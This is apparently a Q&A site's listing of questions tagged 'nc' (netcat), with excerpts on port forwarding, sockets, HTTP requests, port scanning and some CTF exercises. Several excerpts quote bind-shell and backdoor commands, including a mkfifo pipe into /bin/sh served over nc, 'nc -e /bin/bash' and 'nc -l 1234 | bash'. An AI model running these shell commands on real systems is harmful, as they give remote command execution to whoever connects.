Questions tagged [nc]

`nc` is the "network `cat`" program, connecting Unix pipe I/O to TCP and UDP sockets.

Filter by
Sorted by
Tagged with
31
votes
2answers
35k views

What are the differences between ncat, nc and netcat?

I'm not sure about when to use nc, netcat or ncat. If one is the deprecated version of another? If one is only available on one distribution? If it is the same command but with different names? In ...
27
votes
3answers
48k views

Using netcat for port forwarding

I have a process that listens on an IP:port - in fact it is spark streaming which connects to a socket. The issue is that I wish to somehow create a server that connects to spark on one port and data ...
7
votes
2answers
11k views

Any way to send just “\n” in Telnet?

I'm wondering if there's any way to get telnet to send only a \n, not a \r\n. For example, if one process is listening on a port like this, to print the bytes of any traffic received: nc -l 1234 | ...
6
votes
3answers
25k views

How do I get a URL over HTTP with netcat?

Can anybody tell me why I am getting bad request while executing this command echo -e "GET http://www.yellowpages.com.eg/Mjg3NF9VUkxfMTEwX2h0dHA6Ly93d3cubG90dXMtYWlyLmNvbV8=/Lotus-Air/profile.html ...
6
votes
1answer
1k views

What is `nc -z` used for?

In a solution of an exercise I found this: nc -z [serverip] [port] What does it do? On nc man page I found -z zero-I/O mode [used for scanning] not very explanatory... Searching on ...
6
votes
1answer
3k views

How can I repeatedly send the contents of a file via socat / ncat to a socket

I'm running some performance testing, and I'm trying to send the same file repeatedly to a socket. If I do something like: $ socat -b1048576 -u OPEN:/dev/zero TCP4-LISTEN:9899,reuseaddr,fork $ ...
5
votes
1answer
5k views

How to filter the success message when using nc port scan

I used following command for port scanning of my machine nc -zv 192.168.1.1 1-100 but I want to filter only succeeded message from following output.Hence i used the following command nc -zv 192....
5
votes
2answers
5k views

Is nc (netcat) on MacOS missing the “-e” flag?

When I try to run nc -l 1337 -e /bin/bash, it says: nc: invalid option -- e usage: nc [-46AacCDdEFhklMnOortUuvz] [-K tc] [-b boundif] [-i interval] [-p source_port] [--apple-delegate-pid pid] [--...
4
votes
1answer
3k views

How does this command work? mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 1234 > /tmp/f

Today I was reading the nc man page and stumbled on this command. I know that: mkfifo /tmp/f is creating a named pipe at /tmp/f. cat /tmp/f is printing whatever is written to that named pipe and the ...
4
votes
1answer
10k views

What's the difference between using netcat (nc) and curl for HTTP requests?

I'm using curl to request a specific URL and getting 200 OK response: curl -v www.youtypeitwepostit.com * About to connect() to www.youtypeitwepostit.com port 80 (#0) * Trying 54.197.246.21... * ...
3
votes
3answers
63 views

'Reversed shell' - pull shell commands from remote host with human-controlled input?

I would like to connect to a remote machine, ideally over SSH, and then pull the commands from there. To be precise, I would like make a remote machine connect to my local machine, where I would have ...
3
votes
1answer
5k views

How to create a public unix domain socket?

Consider /var/run/acpid.socket. At any point I can connect to it and disconnect from it. Compare that with nc: $ nc -l -U ./myunixsocket.sock Ncat: bind to ./myunixsocket.sock: Address already in use....
3
votes
1answer
999 views

'netcat -e' not relaying stdout

I'm using netcat to create a backdoor running a python script with the following command: netcat -l -p 1234 -e 'python /script.py' then I'm connecting to the backdoor with another shell using: ...
3
votes
1answer
5k views

How to pass received data from netcat to another script as argument?

I have simple bash nc script: #!/bin/bash nc -k -l 127.0.0.1 4444 > filename.out which listens 4444 port for TCP connection. Instead of redirecting received data to filename.out I would like, if ...
3
votes
1answer
90 views

Remote control alarm

I want one of machine have a remote control alarm running that can be triggered by any remote machine. More precisely Machine A is running the service in the background Any remote machine B can send ...
3
votes
0answers
243 views

netcat -s switch does not work or do anything at all

I have a computer with a NIC with two ports and a switch between them, and I'm trying to send data from one port to the other using netcat. I thought I could simply specify the source address (i.e. ...
2
votes
3answers
810 views

convert one line values to multiple lines with numbering order

The following variable include for example this values echo $SERVERS server1,server2,server3,server4,server5 and when I want to pipe them on different lines then I do the following echo $SERVERS | ...
2
votes
3answers
275 views

How to understand the action of nc -l

I've read the manual of nc, it tells me that nc -l means Used to specify that nc should listen for an incoming connection rather than initiate a connection to a remote host. It is an error to use ...
2
votes
1answer
1k views

Connecting to server on localhost with same source and destination port

Here is simple server listening to port 80 of localhost: nc -4 --listen 127.0.0.1 80 Here is the client to connect to server on localhost using source port same as destination port of server: nc -4 ...
2
votes
2answers
2k views

problem piping data into nc

I've written a small UDP server in PHP which listens on a socket, accepts a command, and performs an action. It's really quite basic. I can connect to it manually like this: % nc -u host port (...
2
votes
1answer
18k views

Connecting with sftp using a proxy server

I am trying to connect to an external server using a proxy with the below command: sftp -v -o "ProxyCommand /usr/bin/nc -X connect -x proxyserver.com:8080 %h %p" user@server.com This isn't working. ...
2
votes
1answer
314 views

Why does NetHogs report 0 KB/second while benchmarking lo?

I was curious to know how much traffic the Linux kernel could handle on the loopback network, so I decided to benchmark it. In one terminal, I ran: % nc -l -p 5235 127.0.0.1 > /dev/null And in ...
1
vote
2answers
6k views

Shell Script in netcat listener to talk with client

I have this script on my netcat server which asks for name and some other information: *echo "Tell me your name" read $ln ...
1
vote
1answer
428 views

Why nmap closed my connection?

I started new connection on port 3333 typing nc -l 3333. Then in other terminal window I typed nmap -sT -O localhost to check if 3333 port is really open. After this command my connection on port 3333 ...
1
vote
1answer
128 views

How to send new lines from file to a tcp port?

Wait for file changes and send new lines to a TCP port server. I've tried nc 127.0.0.1 1234 -c "tail -F /var/log/changes.log" & But get broken pipe
1
vote
3answers
8k views

One way communication over UDP using Netcat

I have a situation where many "smart" devices are sending me data via UDP. I can't change anything on the sending end. I'm testing nc (or netcat) but can't get past the following: Receiving end ...
1
vote
2answers
950 views

Print netcat input on terminal

I'm trying to write a script where I cat the content of a file and pipe it into nc: $cat somefile.txt | nc server port The file content is sent to the server as expected but on the terminal I only ...
1
vote
1answer
2k views

Port forwarding isn't working on mac osx

I've setup port-forwarding on my mac like this: sudo sysctl net.inet.ip.forwarding=1 echo "rdr pass inet proto tcp from any to any port 445 -> 127.0.0.1 port 5441" | sudo pfctl -ef - To this ...
1
vote
1answer
215 views

How to decrypt Cryptcat with key?

I have a Pcapng (Wireshark) encrypted file with Cryptcat and I also have the Password, how can I decrypt the file? Can't find anything relevant. Only things like: "Is it Really Secure? Not if your ...
1
vote
1answer
1k views

Sending data to Unix socket failing unless proxied with socat via UDP

I'm trying to debug why data isn't being sent over a Unix Domain Socket. I have 2 applications which should be communicating over a UDS but aren't. To test I've done the following: Using socat, I ...
1
vote
1answer
2k views

How to stream video with netcat

I'd like to have Raspberry Pi stream video, so I'm doing this: raspivid ... -o - | nc -l -k 4242 But the problem is that the pipe or nc, is caching the data until someone connects. But I don't want ...
1
vote
1answer
240 views

How can I overwrite the destination file netcat writes to as opposed to appending?

I have two ubuntu servers and will be using a script (although I have not written it yet) on the sending server to send file abcd.txt whenever it changes using: nc 10.10.10.4 3333 < abcd.txt On ...
1
vote
2answers
1k views

How to “nc -z <address>” with socat?

I want to get the behavior of "nc -z host port ; echo $?" with socat, since my network admins have disabled netcat. The purpose is just to test that a TCP connection is open between two servers. How ...
1
vote
1answer
114 views

How to setup simple netcat server which sleeps before it returns a HTTP response

Scenario Whenever the netcat server receives a connection, I want it to sleep for 2s before returning a HTTP response. I know we can turn netcat into a simple HTTP server by something like nc -lp ...
1
vote
1answer
1k views

How to decrypt Cryptcat (twofish) data?

I have some packets that are encrypted with Cryptcat tool and I want to decrypt them. I have the encryption password. I tried to use netcat with cryptcat, but every time I'm connecting from netcat to ...
1
vote
0answers
392 views

How to `nc -l 1234 | bash` but send response back to connecter

I have a basic netcat listener on my network that uses this command: nc -l 1234 | bash. This command runs everything it receives in nc into BASh. It works, however, only the listener can see the ...
0
votes
3answers
61 views

Conditional `if` with command that doesn't respond in else

I have the following command line, which should return the value 1 in case of, by means of nc, check communication with the IP and Port in question: /bin/nc -z 10.102.10.22 10003 > /dev/null &&...
0
votes
3answers
5k views

ncat command gives Idle timeout expired on using option “-i”

I am using the nc command to upload a file to a device, this is how I am using it: nc -i1 "device ip" "port" < /path/to/file this command works fine on Scientific Linux 6.4 32-bit, but after ...
0
votes
1answer
44 views

What is this code actually doing?

While doing a CTF challenge on a platform, I needed a reverse shell but couldn't get one working so I looked at the processes and found one reverse shell code: rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/...
0
votes
1answer
23 views

How to use nc to send message consecutively per second

I'm learning the Apache Flink. Here is the Hello World of Flink: https://ci.apache.org/projects/flink/flink-docs-stable/getting-started/tutorials/local_setup.html This example is a program, which ...
0
votes
1answer
4k views

nc to retry on connection refuse

is there any solution for nc 192.168.1.1 1234 to retry till it gets connected and once it gets connected ; it will send an output via "nc 192.168.1.1 1234" on machine 192.168.1.1 where it is ...
0
votes
1answer
223 views

howto set up network printer (DE-agnostic solution)

I have a network printer. I can send a postscript file to the printer using nc, and the printer prints it: cat tiger.eps | nc 192.168.0.6 9100 If I want to print from my applications (ie from ...
0
votes
1answer
210 views

netcat with ssh

every time that I'll send a thing from computer A to computer B with nc, I to use these commands, Computer A tar cfp - film.mp4 | nc -w 3 192.168.xxx.xx 1234 Computer B nc -l -p 1234 | tar xvfp - ...
0
votes
2answers
191 views

How does this nc command work as a HTTP server?

There is an answer that serves a file over HTTP using nc { echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat some.file; } | nc -l -p 8080 { echo -ne "HTTP/1.0 200 OK\r\nContent-Length: $(wc -c &...
0
votes
1answer
372 views

Understanding the Netcat properly [closed]

Netcat confuses me a little bit and here are the reasons: when I run: nmap localhost There are some ports listed with the information whether they are open or closed. So if I run the command : nc -l -...
0
votes
1answer
54 views

How can I list ONLY open ports in a range with nc [duplicate]

I see many examples for nc, even one in the man page, that says nc -zv 77.77.77.77 10-30 would report the open ports in the range 10-30. However, on my machine all the closed ports are also ...
0
votes
1answer
1k views

nc getting stuck unexpectedly

I expected this: nc -l localhost 7000 </dev/null & nc localhost 7000 </etc/profile and this nc -l localhost 7000 </etc/profile & nc localhost 7000 </dev/null to finish after ...
0
votes
1answer
40 views

Infinite number of process spawns despite wait and kill (bash)

This code should be a daemon that keeps alive nc command. If nc instance is dead then the daemon should respawn it. #!/bin/sh if [ "$1" != "__forked__" ]; then setsid "$0&...
0
votes
1answer
109 views

Keep track of successful pin in Bandit CTF 24 to 25 [duplicate]

I am doing the bandit wargame of OverTheWire and am trying to pass level 24 -> 25. I successfully got the password with the script below but I'd like to recover the successful pin. I tried ...
0
votes
1answer
73 views

Ping works, but I get 'No route to host' even though my firewall is off

I want to check if I can connect to Rspamd's Fuzzy port and have a very strange problem - I can ping a the host and get an answer (0% packet loss). But when I try to telnet him, I get "No route to ...